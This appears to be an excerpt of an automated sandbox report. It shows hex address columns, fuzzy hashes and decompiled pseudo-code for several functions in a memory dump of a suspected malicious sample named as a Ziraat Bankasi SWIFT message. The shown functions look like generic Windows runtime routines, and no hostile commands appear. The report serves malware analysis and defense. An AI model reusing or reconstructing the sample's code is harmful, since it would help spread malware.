                                                                        0x0134755c
                                                                        0x0134755c
                                                                        0x0134755f
                                                                        0x01347560
                                                                        0x01347561
                                                                        0x01347562
                                                                        0x01347563
                                                                        0x01347568
                                                                        0x0134756a
                                                                        0x0134756c
                                                                        0x0134756d
                                                                        0x0134756d
                                                                        0x0134756f
                                                                        0x01347572
                                                                        0x01347574
                                                                        0x01347577
                                                                        0x0134757c
                                                                        0x0134757f
                                                                        0x00000000
                                                                        0x01347551
                                                                        0x01347551
                                                                        0x01347551
                                                                        0x01347553
                                                                        0x01347553
                                                                        0x01347449
                                                                        0x01347449
                                                                        0x0134744c
                                                                        0x0134744c
                                                                        0x00000000
                                                                        0x0134744c
                                                                        0x01347443
                                                                        0x0134750e
                                                                        0x01347514
                                                                        0x01347514
                                                                        0x01347455
                                                                        0x01347469
                                                                        0x0134746d
                                                                        0x00000000
                                                                        0x01347473
                                                                        0x01347473
                                                                        0x01347476
                                                                        0x01347480
                                                                        0x01347484
                                                                        0x0134748e
                                                                        0x01347493
                                                                        0x01347493
                                                                        0x01347496
                                                                        0x01347499
                                                                        0x013474a1
                                                                        0x013474b1
                                                                        0x013474b5
                                                                        0x00000000
                                                                        0x013474bb
                                                                        0x013474c1
                                                                        0x013474c1
                                                                        0x013474c4
                                                                        0x013474c5
                                                                        0x013474c6
                                                                        0x013474c7
                                                                        0x013474c8
                                                                        0x013474cd
                                                                        0x00000000
                                                                        0x013474d3
                                                                        0x013474d3
                                                                        0x013474d6
                                                                        0x013474d8
                                                                        0x013474db
                                                                        0x013474dd
                                                                        0x013474e0
                                                                        0x013474e7
                                                                        0x013474ee
                                                                        0x013474ee
                                                                        0x013474f4
                                                                        0x013474f9
                                                                        0x00000000
                                                                        0x013474fb
                                                                        0x013474fb
                                                                        0x013474fd
                                                                        0x01347500
                                                                        0x01347503
                                                                        0x01347505
                                                                        0x01347505
                                                                        0x013474f9
                                                                        0x00000000
                                                                        0x013474cd
                                                                        0x013474b5
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
                                                                        • Instruction ID: 9683613d1afeca27e2ce3f7676f560d762ce85794f5c1ab1620251bd944194cb
                                                                        • Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
                                                                        • Instruction Fuzzy Hash: 93516D71600646EFDB26CF58C580A96BBF5FF45308F1581AAE908DF212E771E946CBE0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A2990 Relevance: .1, Instructions: 133COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 97%
                                                                        			E012A2990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x134ff00);
				E012CD08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x1251664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E012BE5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x1251668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E012F51BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x125166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E012A2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E01286600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E012A2C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E012A2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E012A2C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E012A2ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E012CD0D1(_t62);
				goto L28;
			}





















                                                                        0x012a2990
                                                                        0x012a2992
                                                                        0x012a2997
                                                                        0x012a29a3
                                                                        0x012a29a6
                                                                        0x012a29ab
                                                                        0x012a29ad
                                                                        0x012a29b2
                                                                        0x012e5c80
                                                                        0x012a29b8
                                                                        0x012a29b8
                                                                        0x012a29bb
                                                                        0x012a29c0
                                                                        0x012a29c5
                                                                        0x012a29c6
                                                                        0x012a29c6
                                                                        0x012a29cb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a29cd
                                                                        0x012a29d0
                                                                        0x012a29d9
                                                                        0x012a29db
                                                                        0x012a29dd
                                                                        0x012a2a7f
                                                                        0x012a2a84
                                                                        0x012a2a87
                                                                        0x012a2a89
                                                                        0x012e5ca1
                                                                        0x012e5ca3
                                                                        0x00000000
                                                                        0x012a2a8f
                                                                        0x012a2a8f
                                                                        0x00000000
                                                                        0x012a2a8f
                                                                        0x00000000
                                                                        0x012a29e3
                                                                        0x012a29e3
                                                                        0x012a29e3
                                                                        0x00000000
                                                                        0x012a29e3
                                                                        0x012a29dd
                                                                        0x00000000
                                                                        0x012a29db
                                                                        0x012a29e6
                                                                        0x012a29e9
                                                                        0x012a29eb
                                                                        0x012a29ed
                                                                        0x012a29f3
                                                                        0x012a29f5
                                                                        0x012a29f8
                                                                        0x012a29fa
                                                                        0x012a2a97
                                                                        0x012a2a9a
                                                                        0x012a2a9d
                                                                        0x012a2add
                                                                        0x00000000
                                                                        0x012a2a9f
                                                                        0x012a2aa2
                                                                        0x012a2aa5
                                                                        0x012a2aa8
                                                                        0x012a2aab
                                                                        0x012e5cab
                                                                        0x012e5caf
                                                                        0x012e5cc5
                                                                        0x012e5cda
                                                                        0x012e5cdc
                                                                        0x012e5cdf
                                                                        0x012e5ce5
                                                                        0x00000000
                                                                        0x012e5ceb
                                                                        0x012e5ced
                                                                        0x012e5cee
                                                                        0x00000000
                                                                        0x012e5cee
                                                                        0x012e5cb1
                                                                        0x012e5cb4
                                                                        0x012e5cb9
                                                                        0x012e5cbb
                                                                        0x00000000
                                                                        0x012e5cbd
                                                                        0x012e5cbd
                                                                        0x00000000
                                                                        0x012e5cbd
                                                                        0x012e5cbb
                                                                        0x012a2ab1
                                                                        0x012a2ab1
                                                                        0x012a2ac4
                                                                        0x012a2ac6
                                                                        0x012a2ac6
                                                                        0x00000000
                                                                        0x012a2ac6
                                                                        0x012a2aab
                                                                        0x00000000
                                                                        0x012a2a00
                                                                        0x012a2a09
                                                                        0x012a2a0e
                                                                        0x012a2a21
                                                                        0x012a2a24
                                                                        0x012a2a35
                                                                        0x012a2a3a
                                                                        0x012a2a3d
                                                                        0x012a2a42
                                                                        0x012a2a59
                                                                        0x012a2a59
                                                                        0x012a2a5c
                                                                        0x012a2a5f
                                                                        0x012a2a5f
                                                                        0x012a29fa
                                                                        0x012a29f3
                                                                        0x012a2a64
                                                                        0x012a2a64
                                                                        0x012a2a6b
                                                                        0x012a2a6b
                                                                        0x012a2a6d
                                                                        0x012a2a72
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7cec2a9ef787526b3a36d482de0d1f1a87e5fb635434a3098572daa2fa0fa44c
                                                                        • Instruction ID: 6ef5fca8c310b07979e22dd2bf1ad1fb1b24af2daf771144b4ed1c05d99ff7ac
                                                                        • Opcode Fuzzy Hash: 7cec2a9ef787526b3a36d482de0d1f1a87e5fb635434a3098572daa2fa0fa44c
                                                                        • Instruction Fuzzy Hash: 21518A3192020ADFDF25DF99C890AEEBBB5BF08754F548115EA00AB361D3759D52CFA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A4BAD Relevance: .1, Instructions: 131COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 85%
                                                                        			E012A4BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x136d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E0127CC50(_t86);
					L11:
					return E012BB640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x1368504
				E01292280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E012BFA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E012BB0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L01294620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E0127CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x1368504
								E0128FFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E012A4F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}


























                                                                        0x012a4bad
                                                                        0x012a4bbf
                                                                        0x012a4bc2
                                                                        0x012a4bc6
                                                                        0x012a4bcd
                                                                        0x012a4bd9
                                                                        0x012e67fe
                                                                        0x012e6800
                                                                        0x012a4ccc
                                                                        0x012a4ccd
                                                                        0x012a4cb7
                                                                        0x012a4cc9
                                                                        0x012a4cc9
                                                                        0x012a4bdf
                                                                        0x012a4be5
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a4beb
                                                                        0x012a4bef
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a4bf5
                                                                        0x012a4bf9
                                                                        0x012a4c06
                                                                        0x012a4c0b
                                                                        0x012a4c17
                                                                        0x012a4c1c
                                                                        0x012a4c1f
                                                                        0x012a4c25
                                                                        0x012a4c33
                                                                        0x012a4c3d
                                                                        0x012a4c40
                                                                        0x012a4c43
                                                                        0x012a4c47
                                                                        0x012a4c4d
                                                                        0x012a4c53
                                                                        0x012a4c54
                                                                        0x012a4c55
                                                                        0x012a4c56
                                                                        0x012a4c5b
                                                                        0x012a4c5c
                                                                        0x012a4c63
                                                                        0x012a4c6b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6776
                                                                        0x012e6784
                                                                        0x012e6784
                                                                        0x012e679f
                                                                        0x012e67a7
                                                                        0x012e67af
                                                                        0x012e67ce
                                                                        0x00000000
                                                                        0x012e67b1
                                                                        0x012e67b7
                                                                        0x012e67b8
                                                                        0x012e67c1
                                                                        0x012e67d3
                                                                        0x012e67d9
                                                                        0x012e67dd
                                                                        0x012a4c94
                                                                        0x012a4c94
                                                                        0x012a4c98
                                                                        0x012a4c9c
                                                                        0x012a4ca3
                                                                        0x012e67f4
                                                                        0x012e67f4
                                                                        0x012a4cb5
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a4cb5
                                                                        0x012a4c79
                                                                        0x012a4c7e
                                                                        0x012a4c89
                                                                        0x012a4c8b
                                                                        0x012a4c8f
                                                                        0x012a4c8f
                                                                        0x00000000
                                                                        0x012a4c89
                                                                        0x012e67c3
                                                                        0x00000000
                                                                        0x012e67c3
                                                                        0x012e67af
                                                                        0x012a4c73
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 462d35dfd0e651a7b9707249512611f16e33eeac757edbe78cf2620c4782b500
                                                                        • Instruction ID: 345dd0a121e8357275e4ff5981a7151bf0b52c6f4d1e5587b3ecb6bdbdde2867
                                                                        • Opcode Fuzzy Hash: 462d35dfd0e651a7b9707249512611f16e33eeac757edbe78cf2620c4782b500
                                                                        • Instruction Fuzzy Hash: 3A41C531A602699FDB21EF68C944BEE77F5EF55740F4500A5EA08AB241E774DE80CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A4D3B Relevance: .1, Instructions: 131COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 78%
                                                                        			E012A4D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x136d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E012BFA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x1367bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E012BB0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L01294620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E0127CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E012BB640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E012BF380(_t67 + 0xc, 0x1255138, 0x10) == 0) {
								 *0x13660d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E012A4F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E012A4E70(0x13686b0, 0x12a5690, 0, 0) != 0) {
					_t46 = E0127CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}




















                                                                        0x012a4d3b
                                                                        0x012a4d4d
                                                                        0x012a4d53
                                                                        0x012a4d58
                                                                        0x012a4d65
                                                                        0x012a4d6c
                                                                        0x012a4d71
                                                                        0x012a4d77
                                                                        0x012a4d7f
                                                                        0x012a4d8c
                                                                        0x012a4d8e
                                                                        0x012a4dad
                                                                        0x012a4db0
                                                                        0x012a4db7
                                                                        0x012a4db8
                                                                        0x012a4db9
                                                                        0x012a4dba
                                                                        0x012a4dbb
                                                                        0x012a4dc1
                                                                        0x012a4dc8
                                                                        0x012a4dcc
                                                                        0x012a4dd5
                                                                        0x012a4dde
                                                                        0x012a4ddf
                                                                        0x012a4de0
                                                                        0x012a4de1
                                                                        0x012a4de6
                                                                        0x012a4de7
                                                                        0x012a4de9
                                                                        0x012a4df3
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6c7c
                                                                        0x012e6c8a
                                                                        0x012e6c8a
                                                                        0x012e6c9d
                                                                        0x012e6ca7
                                                                        0x012e6cac
                                                                        0x012e6cb2
                                                                        0x012e6cb9
                                                                        0x00000000
                                                                        0x012e6cbf
                                                                        0x012e6cbf
                                                                        0x00000000
                                                                        0x012e6cbf
                                                                        0x012e6cb9
                                                                        0x012a4dfb
                                                                        0x012e6ccf
                                                                        0x012e6cd3
                                                                        0x012a4e32
                                                                        0x012a4e39
                                                                        0x012e6ce0
                                                                        0x012e6cf2
                                                                        0x012e6cf2
                                                                        0x012e6ce0
                                                                        0x012a4e3f
                                                                        0x012a4e41
                                                                        0x012a4e51
                                                                        0x012a4e51
                                                                        0x012a4e03
                                                                        0x012a4e03
                                                                        0x012a4e09
                                                                        0x012a4e0f
                                                                        0x012a4e57
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a4e1b
                                                                        0x012a4e30
                                                                        0x012a4e5b
                                                                        0x012a4e5b
                                                                        0x00000000
                                                                        0x012a4e30
                                                                        0x012a4e11
                                                                        0x012a4e11
                                                                        0x012a4e16
                                                                        0x00000000
                                                                        0x012a4e16
                                                                        0x012a4e01
                                                                        0x00000000
                                                                        0x012a4e01
                                                                        0x012a4da5
                                                                        0x012e6c6b
                                                                        0x00000000
                                                                        0x012a4dab
                                                                        0x012a4dab
                                                                        0x00000000
                                                                        0x012a4dab

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 1834f5ded3d2c106419e7ab47f0296a3e3ba22ec6779242ab178cb3c5a36784e
                                                                        • Instruction ID: fbe787ac40fe270bce4e5e6392eb1dcd82a18bc99da345dc9bc0558eed75644a
                                                                        • Opcode Fuzzy Hash: 1834f5ded3d2c106419e7ab47f0296a3e3ba22ec6779242ab178cb3c5a36784e
                                                                        • Instruction Fuzzy Hash: 05412871A603599FEB31EF18CD85FBAB7A9EB14710F4440A9EA0597281D7B0ED40CB91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01288A0A Relevance: .1, Instructions: 120COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 94%
                                                                        			E01288A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x136d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E012BB640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E0128E9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x1251180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E012A1DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E012B3C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E01288999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}



























                                                                        0x01288a0a
                                                                        0x01288a1c
                                                                        0x01288a23
                                                                        0x01288a2e
                                                                        0x01288a30
                                                                        0x01288a36
                                                                        0x01288a3c
                                                                        0x01288a3e
                                                                        0x01288a4a
                                                                        0x01288a52
                                                                        0x01288a9c
                                                                        0x01288aae
                                                                        0x01288a58
                                                                        0x01288a5e
                                                                        0x01288a6a
                                                                        0x01288a6f
                                                                        0x01288a75
                                                                        0x01288a7d
                                                                        0x01288a85
                                                                        0x01288a86
                                                                        0x01288a89
                                                                        0x01288a93
                                                                        0x01288a99
                                                                        0x01288a9b
                                                                        0x00000000
                                                                        0x01288aaf
                                                                        0x01288abe
                                                                        0x01288ac3
                                                                        0x01288acb
                                                                        0x01288ad7
                                                                        0x01288ae0
                                                                        0x01288af1
                                                                        0x00000000
                                                                        0x01288af1
                                                                        0x01288acd
                                                                        0x01288ad5
                                                                        0x01288afb
                                                                        0x01288afd
                                                                        0x01288aff
                                                                        0x01288b07
                                                                        0x01288b22
                                                                        0x01288b24
                                                                        0x01288b2a
                                                                        0x01288b2e
                                                                        0x01288b3f
                                                                        0x01288b78
                                                                        0x01288b41
                                                                        0x01288b52
                                                                        0x01288b54
                                                                        0x01288b5c
                                                                        0x01288b74
                                                                        0x01288b74
                                                                        0x01288b5c
                                                                        0x01288b3f
                                                                        0x01288b5e
                                                                        0x01288b61
                                                                        0x01288b64
                                                                        0x01288b64
                                                                        0x01288b6c
                                                                        0x01288b6c
                                                                        0x01288b11
                                                                        0x012d9cd5
                                                                        0x012d9cd5
                                                                        0x01288b17
                                                                        0x01288b1a
                                                                        0x01288b1a
                                                                        0x00000000
                                                                        0x01288ad5
                                                                        0x01288a89

                                                                        Memory Dump Source
